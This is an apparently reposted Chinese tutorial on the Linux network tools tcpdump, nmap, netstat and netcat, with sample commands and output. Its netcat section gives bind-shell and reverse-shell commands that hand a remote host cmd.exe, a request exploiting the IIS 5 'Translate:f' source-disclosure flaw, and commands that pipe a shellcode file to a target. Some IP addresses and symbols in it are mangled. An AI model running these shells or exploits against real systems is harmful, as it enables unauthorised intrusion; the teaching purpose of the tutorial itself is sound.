您的位置:首页 > 理论基础 > 计算机网络

[Linux] linux常用网络工具tcpdump

2012-12-18 14:48 525 查看
Tcpdump-转储网络上的数据流

Tcpdump能够截获当前所有通过本机网卡的数据包。它拥有灵活的过滤机制,可以确保得到想要的数据。由于Tcpdump只能收集通过本机的数据,因此它的应用受到了一些限制,大多应用在网关或服务器自我检测上。例如,在作为网关的主机上,想知道本地网络中IP地址为192.168.0.5的主机现在与外界通信的情况,就可以使用如下命令:

tcpdump -i eth0 src host 192.168.0.5

在默认情况下,Tcpdump会将数据输出到屏幕。如果数据量太大,可能根本看不清具体的内容,这时我们可以把它重定向到文件再进行分析。如果眼神不错,就可以清楚地了解这位仁兄刚才的一举一动:

访问了新浪网主页

20:05:32.473388 192.168.0.5.1872 >;www.sina.com.http:

S 1372301404:1372301404(0) win 64240 ; (DF)

……

进行了netbios广播进行名字查询

20:05:33.823388 192.168.0.5.netbios-dgm>;

192.168.0.255.netbios-dgm: NBT UDPPACKET(13

……

到新华网POP3服务器收信

20:05:41.953388 192.168.0.5.1878 >;pop.xinhuanet.com.pop3: S

1374956462:1374956462(0) win 64240 ; (DF)

……

到深圳963收信

20:05:45.633388 192.168.0.5.1881 >;szptt154.szptt.net.cn.pop3:

P 34:40(6) ack 146 win 64095 (DF)

……

例如,上面这条信息表明了在20:05:45的时候,192.168.0.5通过1881源端口连接到963电子邮局的POP3端口。对于普通的网络分析,这些信息已经足够了。这就是Tcpdump的基本功能,其它高级功能都是在这一基础上的细化和增强。

例如,我只想知道192.168.0.5当前正在访问哪些Web站点,可以用下面这条命令:

tcpdump -i eth0 src host 192.168.0.5 and dst port 80

该命令的目的是截获所有由eth0进入、源地址(src)为192.168.0.5的主机(host),并且(and)目标(dst)端口(port)为80的数据包。得到的数据如下:

20:05:32.473388 192.168.0.5.1872 >;www.sina.com.http:

S 1372301404:1372301404(0)win 64240 ; (DF)

……

20:06:33.42344 192.168.0.5.1873 >;www.sohu.com.http:

S 1374301404:1374301404(0) win 64245 ; (DF)

……

20:07:31.343248 192.168.0.5.1874 >;www.21cn.com.http:

S 1377301404:1377301404(0) win 64241 ; (DF)

……

显然,通过and或者not这些逻辑组合,就可以得到特定的数据。Tcpdump还可以监听不同的数据类型(如TCP、UDP),以用不同的网络范围(如Host主机、Net网络),甚至用Ether直接指定物理地址。

用Tcpdump在网络中获取信息如此清晰,是不是有一种一览无余的感觉。正是因为Tcpdump功能过于强大,连个人隐私和敏感数据的保护都成了问题,所以通常只有root用户能够使用这一工具。

Nmap

Nmap设计的初衷是系统管理员可以方便地了解自己的网络运行情况,例如有多少台主机在运行、分别提供什么样的服务。因此,它扫描的速度非常快,尤其适合大型网络。在对网络进行扫描时,Nmap主要利用ICMPecho探测主机是否开启。凡是了解TCP/IP协议的都知道,对于一个TCP端口,无论是否使用防火墙进行过滤,该主机都会对该端口发出的请求做出一定响应。所以即使配置了严格的防火墙规则,nmap照样可以找到这些主机。例如,在一台IP地址为192.168.0.1的Linux主机上执行下列命令:

echo 1 >;/proc/sys/net/ipv4/icmp_echo_ignore_all

它的作用就是对所有ICMP echo不予理睬,也就是让通常用来测试网络的Ping命令失效。这样至少可以抵挡POD(Ping ofDeath)的攻击。在任何一台机器上Ping这台主机,得到的都会是请求超时,如:

Pinging 192.168.0.1 with 32 bytes of data:

Request timed out.

Request timed out.Request timed out.Request timed out.

Ping statistics for 192.168.0.1:

Packets: Sent = 4, Received = 0, Lost = 4 (100% loss)

这台主机是否下线了?用Nmap探测试试看:

nmap -sP 192.168.0.1

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/)

Host gw.somewhere.net (192.168.0.1) appears to be up.

探测结果好像该主机还开着呢!这里,-sP指定使用Pingecho 进行扫描(Scan)。

利用这一特点,可以很快知道目的网络究竟有多少主机处于运行状态:

nmap -sP 192.168.0.0/24 //24表明目标是一个网络而非单个主机

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/)

Host (192.168.0.2) appears to beup.

Host www.somesite.net (192.168.0.5) appears to beup.

Host (192.168.0.appears to be up.

……

Host (192.168.0.253) appears tobe up.

Host fake.somesite.net (192.168.0.254) appears to be up.

Nmap run completed -- 256 IP addresses (19 hosts up) scanned in 6seconds

既然已经知道了哪些主机还开着,就可以进一步探测这些主机的信息,如开启的端口、提供的服务及操作系统类型等。从上面扫描的结果可以知道,192.168.0.5这台机器正在运行。想要了解该主机的详细信息,可以执行:

nmap 192.168.0.5

稍后会显示如下内容:

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/)

Interesting ports on www.somewhere.net(192.168.0.5):

(The 1537 ports scanned but not shown below are in state:closed)

Port State Service

80/tcp open http

135/tcp open loc-srv

139/tcp open netbios-ssn

443/tcp open https

1031/tcp open iad2

1433/tcp open ms-sql-s

Nmap run completed -- 1 IP address (1 host up) scanned in 0seconds

由上可以断定,这是一台运行Windows操作系统的主机,因为它开启了MS SQLServer的专用端口1433,还提供了HTTP服务等。这些信息如果被不怀好意的人得到,就可以采用对应的攻击办法。其实,强大的Nmap本身就可以依据TCP/IP的指纹特征猜测对方使用的操作系统。我们可以用-O来开启这一选项:

nmap -O 192.168.0.5

得到的结果是:

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/)

Interesting ports on www.somewhere.net(192.168.0.5):

(The 1536 ports scanned but not shown below are in state:closed)

Port State Service

80/tcp open http

135/tcp open loc-srv

139/tcp open netbios-ssn

443/tcp open https

1032/tcp open iad3

1433/tcp open ms-sql-s

Remote operating system guess: Microsoft NT 4.0 Server SP5 + 2047Hotfixes

Nmap run completed -- 1 IP address (1 host up) scanned in 2seconds

它猜测的远程主机类型是Microsoft NT 4.0 Server SP5 + 2047Hotfixes,并且相当准确和详尽。

Netstat

Netstat主要用于Linux/Unix主机察看自身的网络状况,如开启的端口、在为哪些用户服务以及服务的状态等等。此外,它还显示系统路由表、网络接口状态等。可以说,它是一个综合性的网络状态察看工具,不过中规中举。

例如在一台普通Linux服务器上运行Netstat,显示可能像这样:

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address ForeignAddress State

tcp 0 0 xxx.net.http-alt xxx.net:1209 ESTABLISHED

tcp 0 0 xxx.net.http-alt xxx.net:1509 ESTABLISHED

tcp 0 0 xxx.net.ssh whoami.net:1867 ESTABLISHED

tcp 0 0 xxx.net:1209 xxx.net.http-alt ESTABLISHED

tcp 0 0 xxx.net:1509 xxx.net.http-alt ESTABLISHED

Active UNIX domain sockets (w/o servers)

Proto RefCnt Flags Type State I-NodePath

unix 8 [] DGRAM 858 /dev/log

unix 2 [] DGRAM 190986

unix 2 [] DGRAM 190051

unix 2 [] DGRAM 1252

unix 2 [] DGRAM 1233

unix 2 [] DGRAM 1049

unix 2 [] DGRAM 867

unix 2 [] STREAM CONNECTED 507

下半部分被称作Unix域套接口,通常不必在意。有用的是上半部被称为有源TCP连接的部分,它显示了当前所有已建立的连接。由此不难看出,当前这台服务器与主机myself.net有一些处于半关闭状态的HTTP连接,还与主机whoami.net有一个SSH连接。

在默认情况下,Netstat只显示已建立连接的端口。要显示处于监听状态的所有端口,使用-a参数即可:

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address ForeignAddress State

tcp 0 0 *:http-alt *:* LISTEN

tcp 0 0 *:8009 *:* LISTEN

tcp 0 0 *:mysql *:* LISTEN

tcp 0 0 *:netbios-ssn *:* LISTEN

tcp 0 0 *:http *:* LISTEN

tcp 0 0 *:ftp *:* LISTEN

tcp 0 0 xxx.net.http-alt xxx.net:1209 ESTABLISHED

tcp 0 0 xxx.net.http-alt xxx.net:1509 ESTABLISHED

tcp 0 0 xxx.net.ssh myself.net:1867 ESTABLISHED

tcp 0 0 xxx.net:1209 xxx.net.http-alt ESTABLISHED

tcp 0 0 xxx.net:1509 xxx.net.http-alt ESTABLISHED

……

这样,当前正在监听但并未建立连接的端口也可以显示了出来。由此不难看出,这台服务器同时提供HTTP、FTP、SSH、NMBD及一个MySQL数据库服务。

Netstat还可以方便地代替route命令显示当前核心路由表:

netstat -r

Kernel IP routing table

Destination Gateway Genmask Flags MSSWindow irtt Iface

218.208.80.176 * 255.255.255.248 U40 0 0 eth1

192.168.0.0 * 255.255.255.0 U40 0 0eth0

127.0.0.0 * 255.0.0.0 U 40 0 0lo

default x.x.x.x 0.0.0.0 UG 40 0 0eth1

以上结果与route显示完全一样。

此外,它还可以代替ifconfig显示网络接口状态:

netstat -i

Kernel Interface table

Iface MTU MetRX-OK RX-ERR RX-DRPRX-OVRTX-OK TX-ERR TX-DRPTX-OVRFlg

eth0 1500 0 3441803 0 0 0 3717339 0 0 0 BMRU

eth0: 1500 0 - nostatistics available - BMRU

eth0: 1500 0 - nostatistics available - BMRU

eth1 1500 0 1770949 0 0 0 1496183 0 0 0 BMRU

lo 16436 0 38255 0 0 0 38255 0 0 0LRU

nc

netcat被誉为网络安全界的‘瑞士军刀',一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。

它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,

能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者ChrisWysopal写的原版本,另一个是由‘红与黑'编译

后的新‘浓缩'版。‘浓缩'版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,

有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。

1、基本使用

想要连接到某处: nc [-options] hostname port[s] [ports]...

绑定端口等待连接: nc -l -p port [-options] [hostname][port]

参数:

-eprog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to8

-G num source-routing pointer: 4, 8, 12,...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

例如:扫描端口

tcp扫描

C:/nc>nc -v -z -w2 192.168.0.801-140

net [192.168.0.80] 140 (?)

net [192.168.0.80] 139 (netbios-ssn) open

net [192.168.0.80] 138 (?)

net [192.168.0.80] 137 (netbios-ns)

net [192.168.0.80] 136 (?)

net [192.168.0.80] 135 (epmap) open

net [192.168.0.80] 81 (?) open

net [192.168.0.80] 80 (http) open

net [192.168.0.80] 79 (finger)

net [192.168.0.80] 25 (smtp) open

net [192.168.0.80] 24 (?)

net [192.168.0.80] 23 (telnet)

net [192.168.0.80] 21 (ftp)

udp扫描

C:/nc>nc -u -v -z -w2 192.168.0.801-140

net [192.168.0.80] 140 (?) open

net [192.168.0.80] 139 (?) open

net [192.168.0.80] 138 (netbios-dgm) open

net [192.168.0.80] 137 (netbios-ns) open

net [192.168.0.80] 54 (?) open

net [192.168.0.80] 53 (domain) open

net [192.168.0.80] 38 (?) open

net [192.168.0.80] 37 (time) open

net [192.168.0.80] 7 (echo) open

高级应用

1.Window用法:

(1)IE的MIME欺骗
http://www.try2hack..nl(?.....客技术的人去做实验的站点)
打开这个页面,有http://www.try2hack.nl/cgi-bin/level7.pl页面(这个网站提供了黑客的8关,过了这8关证明你开始入门了),这个页面告诉我们的浏览器不是 IE6.72,我们的*作系统不是LIUNX,我们不是从www.microsoft.com/ms.htm重定向链接过去的,有病阿(这是一个题目呀,要慢慢研究),linux有IE6.72? 微软会在它的页面上放http://www.try2hack.nl/cgi-bin/level7.pl的链接?看看页面的源代码,level7.pl是在服务器端执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方:
我是MSIE5.0; Windows NT 5.0; .NET CLR1.0.3705。。。。哈哈,level7.pl这个cgi应该是根据这些信息知道我们不是它要求的客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可以哄对方了:

nc http://www.try2hack.nl 80 [enter]

GET /cgi-bin/level7.pl HTTP/1.1 [enter]

Accept: image/gif, image/x-xbitmap, application/msword, */*[enter]

Refererhttp://www.microsoft.com/ms.htm[enter]

Accept-Language: zh-cn [enter]

Accept-Encoding: gzip, deflate [enter]

User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986)[enter]

Host: http://www.try2hack.nl [enter]

Connection:

Keep-Alive [enter]

注意,如果出现HTTP 400时,说明你输入格式有问题,出现httpd200回应时,就给出结果了:

哈哈!赶快去实现一下(实践是成功之母)

(2)IIS 5 “Translate:f”显示代码脆弱点

Translate:f脆弱点的机制:发送一个畸形的HTTPGET 请求给服务器方一个可执行脚本或相关文件类型(例如.ASP或者global.asa)。这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTPGET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠”/”附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符)

注意 GETglobal.asa 后的反斜杠以及Translate:f头信息。

GET /global.asa/ HTTP/1.0

Host:192.168.0.1

User-Agent:SensePostData

Content-Type:application/x-www-form-urlencoded

Translate:f

[CRLF]

[CRLF]

将以上内容保存在一个文本文件中(例如example.txt)

然后向一个有这个漏洞的服务器发送

c:/>type example.txt | nc –nvv192.168.0.80 80

(UNKNOWN) [192.168.0.80] 80 (?) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Tue, 03 Dec 2002 08:50:46 GMT

Content-Type: application/octet-stream

Content-Length: 2790

ETag: “0448299fcd6df1:bea”

Last-Modified: Wed, 13 Nov 2002 18:50:46GMT

Accept-Ranges: bytes

Cache-Control: no-cache

举例:

1)连接到REMOTE主机,例子:

格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:

格式:nc -l -p 80

讲解:监听本机的TCP80端口

3)扫描远程主机,例子:

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:/winnt/system32/cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:/winnt/system32/cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

=====================================================================================================

高级用法:

6)作攻击程序用,例子:

格式1:type.exe c:/exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:/exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:/exploit.txt'的内容(两种格式确有相同的效果,

真是有异曲同工之妙:P)

附:'c:/exploit.txt'为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:/log.txt

讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:/log.txt'中,如果把‘>'

改为‘>>'即可以追加日志

附:'c:/log.txt'为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:/honeypot.txt

格式2:type.exe c:/honeypot.txt|nc -L -p 80

讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:/honeypot.txt'的内容‘送'入其

管道中

如果要对tcpdump抓到的包进行分析的话,最好使用-w选项保存到文件,方便用etherreal/wireshark进行分析.

出于安全,nc最好自己找到源码进行编译安装.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: